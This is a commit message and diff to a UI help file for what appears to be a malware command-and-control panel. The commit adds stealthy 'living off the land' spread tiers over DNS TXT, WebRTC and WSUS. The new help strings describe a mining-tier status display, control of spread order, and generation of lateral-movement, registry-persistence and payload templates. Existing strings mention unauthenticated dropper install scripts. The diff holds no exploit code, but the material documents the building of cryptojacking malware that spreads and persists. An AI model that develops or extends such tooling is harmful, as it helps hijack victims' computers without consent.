Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

server/web/src/help/uiHelp.ts

@@ -39,6 +39,10 @@ export const UI_HELP: Record<string, string> = {
     'Named color groups for the fleet. Click a group chip to select all members for bulk commands.',
   crucible_active_target:
     'The focused node when exactly one is selected — used for single-agent panels like live desktop and file browser.',
+  crucible_access_depth:
+    'Host posture, LOTL mining tier status, join lane, and effective onion order for the selected agent — from live WS stats plus mining_diagnostics when run.',
+  crucible_access_depth_calibrate:
+    'Calibrate → lotl_onion_tiers changes spread contingency order on next agent reconnect (agents forged with lotl_policy_from_server).',
   crucible_tab_ops:
     'Day-to-day remote control: pause/resume mining, shell commands, agent restart, logs, and power actions.',
   crucible_tab_recon:
@@ -99,6 +103,8 @@ export const UI_HELP: Record<string, string> = {
     'Full protocol tunnel panel for the focused node — cloudflared, SSH forwards, and live status.',
   crucible_section_portfwd:
     'Matrix of SSH local-forward rules pushed to selected Windows agents.',
+  crucible_section_spread_templates:
+    'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
 
   bm_pin_dropper:
     'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',